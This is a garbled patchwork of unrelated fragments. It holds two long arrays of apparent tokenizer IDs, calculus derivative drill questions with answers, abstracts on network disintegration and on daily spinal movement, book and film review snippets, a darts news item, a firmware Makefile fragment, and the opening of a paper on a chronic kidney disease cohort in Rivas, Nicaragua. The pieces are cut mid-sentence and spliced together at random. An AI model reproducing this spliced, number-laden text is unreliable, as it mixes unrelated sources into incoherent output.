1884, 11, 76, 424, 23, 428, 608, 11, 76, 424, 20, 11, 81, 424, 20, 559, 374, 11, 76, 424, 19, 11, 81, 428, 465, 11, 81, 424, 19, 559, 268, 424, 20, 8772, 465, 32, 187, 1812, 361, 11, 76, 424, 20, 428, 1884, 11, 81, 424, 20, 187, 9867, 253, 806, 4309, 273, 428, 2270, 11, 66, 424, 21, 11, 71, 11, 76, 559, 374, 11, 66, 424, 19, 11, 76, 559, 30610, 11, 71, 11, 76, 8772, 247, 15, 187, 14, 16587, 11, 66, 424, 20, 11, 71, 11, 76, 559, 577, 11, 66, 11, 76, 187, 1276, 310, 253, 2626, 4309, 273, 428, 19, 11, 69, 424, 21, 428, 10508, 11, 69, 424, 20, 559, 31184, 11, 69, 424, 19, 8772, 277, 32, 187, 14, 2385, 11, 69, 428, 608, 2055, 187, 1276, 310, 253, 2626, 4309, 273, 495, 11, 67, 424, 22, 11, 71, 428, 854, 11, 67, 424, 21, 11, 71, 559, 3495, 11, 67, 424, 21, 559, 374, 11, 67, 424, 19, 559, 22287, 11, 67, 559, 269, 8772, 270, 32, 187, 11395, 11, 67, 424, 19, 11, 71, 428, 19372, 11, 67, 11, 71, 559, 41589, 11, 67, 187, 1276, 310, 253, 2626, 4309, 273, 2030, 3655, 11, 80, 424, 22, 428, 2164, 11, 80, 424, 19, 428, 8255, 32, 187, 1010, 3079, 1438, 11, 80, 424, 19, 187, 9867, 253, 2626, 4309, 273, 428, 8970, 11, 78, 424, 20, 11, 79, 428, 278, 424, 20, 428, 495, 11, 78, 424, 19, 559, 278, 11, 79, 559, 6931, 8772, 278, 15, 187, 14, 18104, 11, 79, 428, 721, 187, 1276, 310, 253, 2626, 4309, 273, 428, 19, 11, 72, 424, 23, 428, 818, 11, 72, 424, 21, 11, 81, 428, 13620, 11, 72, 424, 21, 11, 87, 428, 898, 11, 72, 424, 19, 11, 81, 11, 87, 559, 305, 11, 81, 559, 721, 11, 87, 8772, 305, 32, 187, 14, 14028, 11, 72, 424, 20, 428, 21748, 11, 72, 11, 81, 428, 495, 14028, 11, 72, 11, 87, 187, 9867, 253, 2626, 4309, 273, 898, 11, 82, 424, 23, 428, 898, 11, 82, 424, 21, 428, 21445, 11, 82, 424, 19, 15, 187, 43201, 11, 82, 424, 20, 428, 24521, 11, 82, 187, 1276, 310, 253, 4309, 273, 4567, 1012, 11, 68, 559, 577, 32054, 8772, 260, 32, 187, 1237, 1012, 187, 9867, 253, 806, 4309, 273, 1384, 11, 80, 424, 21, 428, 3307, 11, 80, 424, 19, 559, 1722, 3547, 8772, 258, 15, 187, 1438, 11, 80, 424, 20, 428, 7127, 11, 80, 187, 1276, 310, 253, 1273, 4309, 273, 428, 30176, 11, 80, 424, 19, 11, 81, 424, 19, 428, 24521, 11, 80, 11, 81, 424, 19, 428, 577, 11, 80, 11, 81, 8772, 258, 32, 187, 14, 38678, 11, 81, 424, 19, 187, 41124, 2145, 11, 71, 11, 90, 424, 19, 11, 91, 424, 19, 428, 269, 11, 90, 424, 19, 428, 26472, 11, 71, 11, 91, 424, 19, 559, 495, 11, 90, 424, 19, 559, 495, 342, 1675, 281, 340, 15, 187, 1731, 11, 71, 11, 90, 11, 91, 424, 19, 428, 374, 11, 71, 11, 90, 559, 209, 38, 2276, 557, 32375, 8130, 342, 2105, 7658, 275, 2570, 6928, 27, 380, 9560, 2554, 273, 7632, 2822, 3388, 4248, 15, 187, 510, 1263, 273, 2990, 557, 32375, 13, 1690, 10938, 2728, 5195, 285, 25473, 17150, 8889, 13, 556, 4618, 2898, 15216, 285, 45465, 1142, 8607, 15, 496, 436, 2929, 13, 359, 21364, 327, 253, 2990, 557, 32375, 1895, 342, 22766, 557, 32375, 2105, 13, 835, 253, 557, 32375, 2105, 281, 13469, 1016, 4666, 1537, 320, 1327, 14 ]

*f*p*u**3 + 29*f*p*u - f*u**3 - 2*p*u + p + 5*u**3 wrt f. 2*p*u**3 + 29*p*u - u**3 What is the third derivative of 274*i**4 - 8*i**2 + 38*i? 6576*i Find the third derivative of 4*b*o**5 - 110*b*o**2 - 630*o**6 + 3*o**2 wrt o. 240*b*o**2 - 75600*o**3 Find the first derivative of 2*l**4 + 38*l**3 + 25*l - 23852. 8*l**3 + 114*l**2 + 25 What is the second derivative of 3652*h**3 - 2*h + 169? 21912*h What is the third derivative of -6208*o**3 + 5*o**2 + 381*o? -37248 Find the first derivative of -3*m*w*x**2 + 2071*m*w - 2*m*x - 61*x**2 - 8*x wrt w. -3*m*x**2 + 2071*m Find the third derivative of -r*t**3*z**3 - 5*r*t**3*z - 13*r*t**2*z**3 - 6*r*t*z - 9*t**3*z**3 + t**2*z**2 wrt t. -6*r*z**3 - 30*r*z - 54*z**3 What is the first derivative of 2*f**2*p**3 + 226*f*p**3 + 216*p**3 wrt f? 4*f*p**3 + 226*p**3 Find the third derivative of 2*i*o*w**4*y - 5*i*o*w**3*y + 6*i*o*w**3 - 2*i*o*w**2*y - 5*i*o*w*y - 2*i*w**2 - 7*w**2*y + 2*y wrt w. 48*i*o*w*y - 30*i*o*y + 36*i*o Find the third derivative of -u**4 - 2*u**3*x - u**3 + 3*u**2*x + 6*u*x + 4*x wrt u. -24*u - 12*x - 6 Find the third derivative of 32*r**3 + 32*r**2 + 19*r wrt r. 192 Differentiate 23*l*t**2*y + 2*l*t**2 - l + 5*t**3*y + 43*t**3 wrt y. 23*l*t**2 + 5*t**3 Find the third derivative of j**3*l**3 + 63*j**3*l - 22*j**2*l**3 - 3*j**2*l**2 wrt j. 6*l**3 + 378*l Find the first derivative of 896*s**2*t**3 + s**2 + t**3 + 508*t wrt s. 1792*s*t**3 + 2*s Find the second derivative of -2*j**5 - 106*j**4 + 3*j**2 - 105*j - 68 wrt j. -40*j**3 - 1272*j**2 + 6 What is the second derivative of 7662*o**2 - 87*o - 17 wrt o? 15324 Find the second derivative of 3788*m**3 - 6292*m wrt m. 22728*m Find the third derivative of -206*s**5 + 158*s**2. -12360*s**2 What is the derivative of -4095*l + 5438 wrt l? -4095 Find the third derivative of 262*r**4 - 7*r**3 + 100*r**2 + 15. 6288*r - 42 What is the first derivative of -417*f - 241 wrt f? -417 Find the first derivative of -6971*k - 18850 wrt k. -6971 Differentiate -11*a**3*r**3 + 4*a**3*r + 95*r**3 wrt a. -33*a**2*r**3 + 12*a**2*r What is the derivative of 3*h**3*x + 225*h**3 - 2*h**2*x**2 - 11*x wrt x? 3*h**3 - 4*h**2*x - 11 What is the third derivative of 238*i**3 - 1078*i**2 wrt i? 1428 Find the third derivative of a**6*i**3 + 9*a**3*i**3 + 2*a**2*i**3 - 20*a**2 wrt a. 120*a**3*i**3 + 54*i**3 What is the third derivative of -22*h**3*p**3 - 2*h**3 + 2*h**2*p**3 - 4*h**2 + 3*p**3 wrt h? -132*p**3 - 12 Find the first derivative of 5331*o**3*v**2 - 9278*v**2 wrt o. 15993*o**2*v**2 Find the third derivative of 9*g**3*q**3 + 3456*g**3 - 24*g**2*q**3 - 4*g*q**3 + 2*g*q**2 wrt q. 54*g**3 - 144*g**2 - 24*g What is the second derivative of 15*z**2 + 4*z - 24 wrt z? 30 What is the derivative of -i**2*z + 5*i**2 - 81*i*z + 156*i - 23*z - 2 wrt z? -i**2 - 81*i - 23 What is the first derivative of -4753*q**4 + 22881? -19012*q**3 What is the third derivative of -48*o**3 - 104*o**2? -288 What is the third derivative of 30*k**6 - 5*k**3*p**3 + 2*k**2*p - k*p**2 + p**3 wrt k? 3600*k**3 - 30*p**3 Find the first derivative of -90*a**4*f*k + 2*a**2*k + 266*f*k wrt a. -360*a**3*f*k + 4*a*k What is the third derivative of -2*d**4 - 98*d**3 + 384*d**2 wrt d? -48*d - 588 What is the third derivative of 3*b**5*f - 8*b**4*f + 23*b**4 + 2*b**2 + 158*b + f wrt b? 180*b**2*f - 192*b*f + 552*b What is the third derivative of 2573*o**5 - 24*o**2 - 54? 154380*o**2 Find the third derivative of -150*m**3*n - m**3 - 3*m**2 + m*n + 39 wrt m. -900*n - 6 What is the third derivative of -2*g**6 - 7*g**4*p - 135*g**4*v - 9*g**2*p*v + g*p + 6*v wrt g? -240*g**3 - 168*g*p - 3240*g*v Find the third derivative of 9*q**6 - 9*q**4 - 143*q**2. 1080*q**3 - 216*q What is the derivative of 3213*c + 4759 wrt c? 3213 Find the first derivative of 20*o**4 - 22*o**2 + 1772 wrt o. 80*o**3 - 44*o What is the second derivative of -475*o**2*p**2 - 216*o*p**2 - 4*o*p wrt o? -950*p**2 Differentiate 13*f*y**2*z**2 - f*y**2 - 227*f*z**2 + 3*y**2 + 3 with respect to y. 26*f*y*z**2 - 2*f*y + Efficient disintegration strategies with cost constraint in complex networks: The crucial role of nodes near average degree. The study of network disintegration, including controlling disease spread and destroying terrorist organizations, has wide application scenarios and attracts many researchers. In this paper, we concentrate on the network disintegration problem with heterogeneous disintegration cost, where the disintegration cost to eliminate each node might be non-

[ 17991, 2433, 6907, 369, 3413, 1309, 19595, 6306, 15, 380, 15986, 497, 840, 4439, 281, 5312, 1495, 15, 380, 5459, 285, 12075, 275, 253, 896, 31345, 17991, 2433, 6907, 689, 247, 2180, 273, 2164, 288, 497, 3413, 285, 10509, 715, 608, 3272, 42344, 15, 25773, 275, 253, 17991, 2433, 6907, 3687, 685, 608, 3272, 497, 2783, 15, 380, 8876, 1180, 273, 14472, 11438, 2684, 1561, 2164, 288, 369, 5512, 577, 13, 8320, 15, 4683, 841, 11438, 13, 9523, 2462, 497, 875, 608, 3272, 285, 884, 3272, 15, 380, 22260, 273, 2169, 14, 30362, 3396, 17991, 2433, 6907, 2544, 497, 1199, 2406, 313, 70, 15, 72, 904, 495, 2462, 323, 253, 1384, 14, 1099, 3272, 4866, 10269, 481, 44156, 13, 253, 8876, 2264, 1180, 273, 11438, 369, 3012, 2169, 313, 1717, 41569, 275, 2255, 685, 275, 1821, 15, 21157, 734, 14, 27276, 3910, 497, 2540, 275, 253, 1180, 273, 11438, 2684, 15, 380, 15986, 5262, 247, 8876, 273, 577, 15, 26, 288, 342, 253, 31345, 17201, 6520, 264, 875, 1384, 3272, 285, 1884, 3272, 285, 760, 2164, 1054, 342, 253, 17201, 6508, 4103, 281, 253, 3806, 6306, 1899, 15, 329, 8876, 273, 2456, 11438, 4925, 390, 22536, 2120, 14, 23210, 279, 6907, 285, 5058, 11438, 2120, 14, 24210, 6907, 15, 2053, 941, 17093, 253, 18705, 1355, 2491, 273, 4866, 273, 253, 17201, 1309, 5312, 4712, 285, 253, 1355, 2408, 273, 673, 5262, 275, 6880, 15, 2053, 4451, 941, 7052, 8162, 281, 253, 4685, 273, 1363, 8, 15363, 3879, 13, 534, 1537, 2818, 253, 2440, 285, 5175, 273, 14472, 27067, 285, 253, 7103, 273, 9205, 285, 14122, 19785, 9694, 15, 1413, 27, 21108, 19121, 187, 187, 39, 15835, 1533, 310, 49458, 15, 1422, 37643, 339, 4834, 275, 247, 1984, 285, 7740, 670, 253, 1524, 1533, 13, 387, 2069, 670, 1881, 285, 27762, 13, 285, 1265, 281, 3153, 275, 253, 1533, 8406, 556, 3562, 323, 368, 15, 7243, 368, 3213, 715, 352, 13, 1533, 326, 310, 417, 634, 1211, 2568, 9193, 594, 1199, 751, 581, 13, 368, 1053, 457, 85, 971, 281, 755, 562, 273, 187, 187, 1276, 310, 352, 670, 27, 329, 6422, 13, 2798, 259, 4099, 272, 17005, 273, 19429, 875, 767, 2255, 432, 1027, 14649, 13, 34370, 312, 285, 418, 647, 66, 13, 1309, 253, 2180, 273, 2137, 285, 6054, 273, 32625, 275, 16111, 15, 10168, 275, 253, 1984, 34370, 312, 310, 15377, 13, 305, 962, 917, 13, 533, 247, 8080, 275, 617, 1211, 1039, 15, 1500, 310, 15822, 285, 556, 271, 828, 1763, 917, 5968, 13, 816, 751, 418, 647, 66, 187, 187, 1276, 310, 352, 670, 27, 5579, 8406, 9309, 466, 8771, 1062, 476, 457, 85, 2686, 4143, 253, 2469, 28, 512, 703, 476, 513, 310, 1067, 352, 13, 285, 3524, 352, 21460, 598, 15, 2091, 9309, 466, 41217, 247, 21653, 4481, 13, 512, 703, 5605, 281, 513, 310, 1056, 1841, 987, 342, 617, 5938, 15, 8948, 703, 476, 4993, 253, 1841, 275, 616, 2469, 326, 1646, 5369, 895, 494, 275, 253, 187, 187, 2512, 403, 1077, 1643, 11321, 326, 15785, 247, 1273, 673, 3698, 275, 253, 20021, 15, 831, 369, 253, 806, 6440, 326, 309, 9047, 275, 20021, 323, 253, 1273, 673, 28, 285, 407, 849, 1199, 352, 556, 27857, 285, 3403, 8550, 479, 13, 309, 1912, 457, 85, 2564, 247, 495, 5784, 390, 577, 394, 15, 831, 310, 417, 247, 4619, 1783, 273, 253, 6440, 533, 1898, 90, 9516, 418, 11625, 42305, 187, 187, 1898, 90, 9516, 13, 253, 3645, 1180, 818, 3365, 476, 457, 85, 755, 2217, 273, 253, 2846, 273, 42305, 15, 3932, 774, 406, 839, 281, 42305, 344, 2296, 521, 2165, 556, 4783, 432, 4757, 281, 4757, 15, 1893, 752, 310, 352, 670, 42305, 326, 556, 6518, 21130, 594, 1199, 32, 380, 1824, 432, 253, 12658, 11851, 32, 380, 5352, 2329, 432, 253, 24515, 4412, 390, 816, 253, 1818, 273, 38811, 32, 6089, 309, 457, 78, 7016, 281, 1333, 352, 310, 5293, 273, 841, 15, 21130, 3365, 4395, 281, 42305, 281, 320, 8003, 281, 3963, 3946, 7832, 31086, 14183, 17861, 285, 326, 3133, 281, 320, 253, 1921, 521, 2165, 556, 5520, 15, 187, 187, 1628, 42, 457, 306, 760, 1694, 2021, 5877, 479, 275, 659, 3136, 594, 352, 1160, 3282, 1806, 9516, 2183, 15501, 13951, 659, 3136, 15, 773, 42, 4395, 281, 835, 31086, 310, 285, 697, 5087, 43503, 15, 187, 187, 1628, 7542, 309, 4395, 627, 275, 5080, 619, 2165, 556, 1705, 327, 458, 1825, 285, 14493, 15, 187, 187, 1628, 1147, 457, 84, 247, 747, 5691, 285, 352, 457, 84, 4307, 562, 13, 984, 4536, 368, 476, 755, 247, 2372, 46745, 1806, 9516, 2879, 15, 187, 187, 1628, 2973, 249, 285, 309, 7450, 1016, 643, 512, 253, 673, 285, 359, 457, 250, 824, 1175, 3858, 13, 359, 457, 250, 751, 13189, 275, 247, 1039, 1425, 51, 18999, 426, 3019, 34101, 1933, 7614, 187, 187, 9324, 15253, 7079, 4450, 15, 80, 187, 9324, 15253, 7079, 1973, 64, 5374, 15, 80, 187, 9324, 15253, 7079, 1531, 68, 15, 80, 187, 9324, 15253, 7079, 11390, 15, 80, 187, 9324, 15253, 7079, 269, 88, 64, 11183, 15, 80, 187, 9324, 15253, 7079, 2876, 15, 80, 187, 9324, 15253, 7079, 14031, 15, 80, 187, 9324, 15253, 7079, 673, 15, 80, 187, 9324, 15253, 7079, 21626, 15, 80, 187, 9324, 15253, 7079, 4981, 15, 80, 187, 187, 9324, 15253, 14, 6999, 13125, 10, 7079, 9667, 15, 80, 187, 187, 6971, 8561, 35473, 7079, 29227, 187, 6971, 8561, 35473, 14, 6999, 296, 78, 1237, 71, 18, 10, 7079, 269, 18, 187, 6971, 8561, 35473, 14, 6999, 296, 78, 1237, 71, 24, 10, 7079, 269, 24, 187, 187, 15, 6663, 1139, 58, 27, 3019, 51, 18999, 1933, 7973, 64, 5374, 15, 68, 187, 7973, 64, 5374, 15, 80, 27, 330, 19499, 7079, 428, 14803, 56, 64, 3788, 43, 1372, 44241, 20941, 64, 3788, 43, 1372, 10, 428, 14803, 56, 64, 17258, 1372, 44241, 20941, 64, 17258, 1372, 10, 187, 15633, 1712, 4538, 18, 94, 187, 6428, 187, 187, 14214, 1712, 4538, 19, 94, 187, 2912, 187, 187, 510, 3480, 273, 9630, 11723, 985, 941, 275, 690, 6684, 4343, 2789, 352, 2834, 281, 6642, 2728, 9364, 285, 8996, 285, 476, 906, 275, 13444, 8981, 273, 14149, 1345, 1786, 3237, 1254, 1311, 18, 1656, 48838, 8673, 2175, 13, 10098, 846, 824, 3374, 403, 8523, 13282, 403, 2834, 285, 8214, 281, 2589, 275, 752, 403, 2223, 8905, 285, 11393, 3672, 342, 4105, 11723, 985, 285, 13120, 11319, 15, 2053, 2412, 11230, 12748, 906, 275, 2175, 342, 1774, 7364, 1955, 281, 1355, 3410, 1979, 13, 8492, 5611, 407, 2256, 16510, 16182, 285, 253, 19297, 281, 956, 5705, 689, 16707, 11508, 273, 673, 3309, 281, 6642, 2728, 9364, 15, 28289, 12333, 2728, 273, 7202, 6510, 313, 7519, 24900, 10, 556, 4102, 644, 7478, 347, 271, 686, 554, 5710, 280, 8, 275, 8170, 3968, 1254, 1311, 19, 7254, 1311, 21, 1184, 285, 556, 2959, 1199, 4116, 275, 253, 2242, 2315, 13, 533, 31634, 2175, 273, 253, 10726, 11089, 432, 841, 15711, 15, 187, 187, 38954, 273, 10522, 7625, 13, 5196, 275, 6146, 18288, 12951, 274, 45877, 285, 3599, 39351, 875, 4695, 285, 4059, 13, 452, 2361, 7488, 2979, 273, 17939, 24900, 281, 320, 875, 884, 285, 3387, 575, 6, 342, 2169, 4142, 2326, 275, 7625, 18839, 323, 5086, 21047, 5820, 1254, 1311, 22, 7254, 1311, 740, 5413, 34696, 1254, 1311, 25, 5413, 5662, 4292, 13, 5014, 3811, 387, 6945, 11434, 1679, 685, 6783, 575, 78, 1840, 6150, 1268, 1254, 1311, 883, 7254, 1311, 1012, 1184, 285, 1110, 665, 17017, 632, 6362, 13, 247, 1728, 14, 18321, 264, 32840, 32715, 1254, 1311, 26, 1656, 3900, 841, 2831, 14, 20382, 2175, 273, 10522, 7888, 4271, 2442, 2495, 2616, 323, 17939, 24900, 13, 253, 3862, 2491, 273, 2728, 8996, 8197, 597, 6635, 1056, 352, 2834, 281, 11435, 253, 3486, 273, 253, 2728, 2439, 253, 2087, 3072, 15, 329, 1798, 10183, 275, 2509, 14854, 2175, 275, 11393, 7888, 275, 12951, 274, 45877, 310, 294, 14, 9450, 839, 11580, 9076, 347, 597, 5431, 513, 417, 452, 12453, 285, 13939, 403, 3839, 42540, 15, 187, 187, 1552, 1304, 8631, 253, 13701, 285, 7882, 5319, 273, 247, 8612, 25231, 14, 3169, 11077, 281, 1263, 17939, 24900, 285, 643, 1345, 1786, 3374, 275, 416, 34627, 13, 253, 11053, 2252, 7811, 313, 66, 25231, 2170, 342, 10656, 19715, 326, 2723, 281, 247, 9635, 275, 253, 1986, 2077, 10, 275, 12951, 274, 45877, 326, 18275, 253, 11553, 17323, 15, 844, 5421, 253, 4487, 273, 416, 34627, 387, 253, 2748, 273, 1980, 1345, 1786, 6338, 665, 16632, 281, 6583, 616, 13214, 326, 8996, 273, 37795, 275, 616, 2919, 369, 347, 1029, 347, 352, 369, 275, 11442, 12951, 274, 45877, 835, 253, 686, 554, 5710, 280, 8, 369, 806, 3636, 15, 380, 767, 3315, 25545, 3894, 28155, 285, 6938, 2495, 2616, 323, 37795, 15, 416, 34627, 556, 247, 3072, 273, 21807, 13, 28933, 285, 556, 271, 2170, 273, 5512, 374, 2313, 575, 10294, 63, 19, 63, 1254, 1311, 1047, 1656, 15699, 13, 8073, 15, 23, 575, 6, 273, 253, 21251, 273, 253, 7811, 273, 416, 34627, 403, 2783, 281, 320, 3811, 275, 11393, 3672, 13, 342, 8073, 575, 6, 273, 1821, 285, 854, 575, 6, 273, 2255, 2444, 8558, 275, 21047, 1254, 1311, 1047, 1656, 380, 1263, 369, 2218, 342, 8723, 2105, 407, 970, 20848, 2561, 26624, 285, 14854, 956, 598, 369, 8655, 949, 253, 897, 273, 4156, 19274, 985, 313, 40, 3299, 10, 4302, 281, 10534, 4271, 5014, 8, 4178, 2979, 15, 187, 187, 28743, 8103, 1712, 4538, 20, 94, 187, 22928, 187, 187, 510, 2561, 8103, 369, 281, 5100, 247, 11077, 273, 387, 1878, 9098, 7747, 8612, 273, 253, 3072, 273, 416, 34627, 285, 281, 3653, 253, 3745, 281, 6558, 956, 598, 273, 253, 11077, 689, 247, 767, 807, 673, 2180, 15, 38536, 13, 3520, 1174, 285, 9965, 941, 5728, 432, 5014, 387, 11077, 39645, 285, 689, 673, 651, 320, 4217, 281, 1263, 8996, 13, 9364, 285, 2495, 2616, 323, 17939, 24900, 285, 643, 1345, 1786, 3237, 15, 1916, 253, 6070, 326, 416, 34627, 310, 29210, 273, 253, 3072, 285, 3126, 273, 643, 4811, 273, 12951, 274, 45877, 13, 253, 941, 432, 436, 11077, 812, 320, 908, 281, 2096, 2074, 1345, 1786, 3374, 275, 643, 20036, 273, 12951, 274, 45877, 15, 187, 187, 15568, 1712, 4538, 21, 94, 187, 6877, 187, 187, 510, 1263, 369, 5196, 275, 767, 12475, 15, 496, 19368, 309, 313, 6755, 10, 5705, 497, 17875, 715, 253, 11077, 432, 7888, 275, 253, 4487, 15, 496, 19368, 3719, 313, 6759, 10, 841, 1072, 7888, 497, 27694, 959, 285, 271, 3177, 369, 1160, 281, 294, 14, 22045, 9166, 273, 253, 884, 1797, 5705, 17692, 275, 19368, 309, 15, 14117, 5705, 497, 17692, 275, 19368, 3719, 281, 2572, 253, 1979, 273, 253, 11077, 15, 187, 187, 30335, 309, 1712, 4538, 22, 94, 187, 6846, 187, 187, 4118, 32424, 1712, 4538, 23, 94, 187, 187, 30335, 309, 369, 5196, 275, 4314, 273, 253, 3578, 34039, 326, 19142, 253, 4487, 273, 416, 34627, 28, 416, 34627, 313, 9576, 15, 31938, 1438, 13, 9963, 575, 6, 10106, 582, 308, 6836, 313, 9576, 15, 374, 6755, 13, 3436, 15, 21, 575, 6, 10106, 10, 6512, 257, 313, 9576, 15, 17601, 1619, 13, 6931, 15, 20, 575, 6, 10106, 582, 5003, 21587, 1448, 6201, 313, 9576, 15, 20825, 3156, 13, 7584, 15, 17, 575, 6, 10106, 582, 12152, 21221, 313, 9576, 15, 12035, 2125, 13, 6931, 15, 26, 575, 6, 10106, 582, 5003, 47944, 313, 9576, 15, 1438, 1348, 13, 11003, 575, 6, 10106, 582, 46287, 45561, 313, 9576, 15, 8255, 938, 13, 7609, 15, 20, 575, 6, 10106, 10, 285, 330, 6702, 284, 313, 9576, 15, 721, 28001, 13, 2145, 575, 6, 10106, 10, 1254, 1311, 1047, 1656, 5761, 34039, 13, 313, 46, 899, 462, 267, 4904, 285, 1219, 7784, 8306, 571, 327, 253, 8930, 273, 473, 3899, 70, 365, 10, 10432, 432, 19368, 309, 1955, 281, 2412, 11230, 12748, 273, 4288, 497, 2908, 275, 19368, 3719, 15, 187, 187, 18961, 16510, 5866, 275, 4236, 7888, 1561, 1016, 24530, 689, 253, 854, 575, 11151, 2180, 432, 3978, 1458, 281, 4223, 1458, 13, 4050, 15, 6269, 1005, 497, 12421, 4236, 407, 8366, 16948, 247, 9860, 342, 31050, 19325, 327, 8115, 273, 253, 34039, 285, 840, 970, 247, 3632, 1180, 14156, 281, 3653, 534, 9860, 14, 15044, 651, 320, 10522, 327, 247, 1677, 16510, 1388, 15, 22460, 1264, 390 ]

lordosis angle was determined during relaxed standing. The volunteers were then released to daily life. The increases and decreases in the back lumbar lordosis angle over a period of 24 h were determined and classified into 5° increments. Changes in the lordosis angle greater than 5° were considered. The median number of spinal movements performed within 24 h was approximately 4,400. Of these movements, 66 % were between 5° and 10°. The proportions of higher-magnitude lordosis angle changes were much lower (e.g., 3 % for the 20-25° movement bin). Surprisingly, the median total number of movements was significantly higher (29 %) in women than in men. Large inter-individual differences were observed in the number of movements performed. The volunteers spent a median of 4.9 h with the lumbar spine flexed between 20° and 30° and only 24 min with the spine extended relative to the reference standing position. A median of 50 movements reached or exceeded full-flexion angle and zero movements full-extension angle. These data illustrate the predominantly small range of movement of the spine during daily activities and the small amount of time spent in extension. These unique data strongly contribute to the understanding of patients' everyday behavior, which might affect the development and testing of spinal implants and the evaluation of surgical and nonsurgical treatments.Category: Reading Room Fictional world is addictive. You immerse yourself in a book and forget about the real world, at times about self and surroundings, and start to live in the world writer has created for you. Once you step into it, world that is not your own yet feels so much like one, you don’t want to get out of What is it about: A powerful, heart wrenching tale of friendship between two women from different generations, Mariam and Laila, during the period of war and rise of Taliban in Afghanistan. Women in the book Mariam is innocent, gullible, but a hero in her own way. She is wise and has an invincible spirit, just like Laila What is it about: TV writer Georgie McCool can’t actually visit the past; all she can do is call it, and hope it picks up. When Georgie discovers a magical phone, all she wants to do is make things right with her husband. Maybe she can fix the things in their past that seem unfixable in the There are very few movies that merit a second time watch in the theatre. This was the first movie that I watched in theatre for the second time; and by how much it has impacted and captivated me, I won’t mind a 3rd or 4th. This is not a critical analysis of the movie butAndy Hamilton Loves Derby Andy Hamilton, the World number 7 simply can’t get enough of the city of Derby. Since relocating to Derby he says his game has gone from strength to strength. So what is it about Derby that has helped Andy so much? The water from the Derwent? The fresh air from the Peak District or just the change of scenery? Well I’m sorry to say it is none of these. Andy simply moved to Derby to be closer to regular practice partner Colin Osborne and that seems to be the reason his game has improved. “I’ve only got family holding me in Stoke so it made sense,” Hamilton told BBC Radio Stoke. “I moved to where Colin is and its paid dividends. “Since I moved there in February my game has come on leaps and bounds. “It’s a new challenge and it’s worked out, because sometimes you can get a bit stale,” Hamilton added. “Colin and I push each other all the time and we’re such good friends, we’re like brothers in a way.”RPATH = $(ROOT)/src OBJS += board.o OBJS += build_info.o OBJS += crc.o OBJS += vectors.o OBJS += fw_update.o OBJS += string.o OBJS += cortex.o OBJS += time.o OBJS += timer.o OBJS += util.o OBJS-$(debug) += console.o SUBDIRS += usb SUBDIRS-$(stm32f1) += f1 SUBDIRS-$(stm32f7) += f7 .PHONY: $(RPATH)/build_info.c build_info.o: CFLAGS += -DFW_MAJOR=$(FW_MAJOR) -DFW_MINOR=$(FW_MINOR) Background {#Sec1} ========== Introduction {#Sec2} ------------ The lack of reliable healthcare system data in some developing countries makes it difficult to estimate disease incidence and prevalence and can result in delayed recognition of emerging public health problems \[[@CR1]\]. Epidemiological studies, launched after such issues are initially suspected are difficult and expensive to conduct in what are often remote and rural areas with poor healthcare system and transportation infrastructure. These logistical difficulties result in studies with important limitations due to small sample size, bias introduced by subject recruitment methodology and the inability to follow subjects over prolonged intervals of time necessary to estimate disease incidence. Chronic kidney disease of unknown origin (CKDu) has recently been recognized as an 'epidemic' in Central America \[[@CR2]--[@CR4]\] and has received much attention in the lay press, but epidemiological studies of the entity suffer from these considerations. Studies of targeted populations, conducted in northwestern Nicaragua and El Salvador between 2008 and 2014, have reported prevalences of CKDu to be between 10 and 40 % with higher rates seen in populations enriched for male agriculture workers \[[@CR5]--[@CR10]\], miners \[[@CR8]\], older individuals, participants living at altitudes less than 500 m above sea level \[[@CR11]--[@CR13]\] and those who consumed lija, a home-brewed alcoholic beverage \[[@CR9]\]. While these cross-sectional studies of targeted communities identify potential risk factors for CKDu, the broad range of disease prevalence estimates they generate make it difficult to appreciate the impact of the disease across the general population. A particular difficulty in doing longitudinal studies in rural communities in Nicaragua is re-locating visited homes as they typically do not have addresses and roads are generally unnamed. This report describes the establishment and stability characteristics of a representative geographical-based cohort to study CKDu and other public health issues in Rivas, the southernmost department (a geographical area with administrative responsibilities that correspond to a county in the United States) in Nicaragua that borders the Pacific Ocean. We studied the Department of Rivas at the request of local public health officials who wished to confirm their impression that prevalence of CKD in their region was as high as it was in Northern Nicaragua where the 'epidemic' was first identified. The two Departments share occupational and environmental risk factors for CKD. Rivas has a population of 156,283 and has an area of approximately 2100 km^2^ \[[@CR14]\]. Overall, 52.6 % of the inhabitants of the department of Rivas are considered to be living in rural areas, with 52 % of men and 8 % of women working primarily in agriculture \[[@CR14]\]. The study was done with minimal cost by using volunteer research associates and longitudinal follow up was enhanced through the use of global positioning system (GPS) technology to precisely identify participants' residences. Research objective {#Sec3} ------------------ The research objective was to establish a cohort of at least 1000 adults representative of the population of Rivas and to determine the ability to maintain follow up of the cohort over a two year time period. Questionnaire, physical exam and laboratory data collected from participants at cohort inception and over time would be useful to study prevalence, incidence and risk factors for CKDu and other public health problems. To the extent that Rivas is reflective of the population and environment of other regions of Nicaragua, the data from this cohort could be used to understand similar public health issues in other departments of Nicaragua. Methods {#Sec4} ======= The study was conducted in two phases. In Phase I (2012) subjects were recruited into the cohort from communities in the Department. In Phase II (2014) these same communities were revisited and an attempt was made to re-contact 400 of the 1021 subjects enrolled in Phase I. Additional subjects were enrolled in Phase II to increase the size of the cohort. Phase I {#Sec5} ------- ### Setting {#Sec6} Phase I was conducted in eight of the ten municipalities that comprise the Department of Rivas; Rivas (pop. 41080, 67 % urban), Tola (pop. 22012, 26.4 % urban) Belen (pop. 16428, 39.3 % urban), San Juan del Sur (pop. 14741, 49.0 % urban), Potosi (pop. 11904, 39.9 % urban), San Jorge (pop.8024, 88 % urban), Buenos Aires (pop. 5420, 41.3 % urban) and Cardenas (pop. 6990, 13 % urban) \[[@CR14]\]. Two municipalities, (Moyogalpa and Altagracia on the island of Ometepe) excluded from Phase I due to logistical difficulties of travel were included in Phase II. Subject recruitment occurred in selected communities within each municipality over the 8 week period from June 15 to August 15, 2012. Communities were randomly selected by overlaying a grid with numbered squares on maps of the municipalities and then using a random number generator to determine which grid-square would be targeted on a given recruitment day. Typically three or

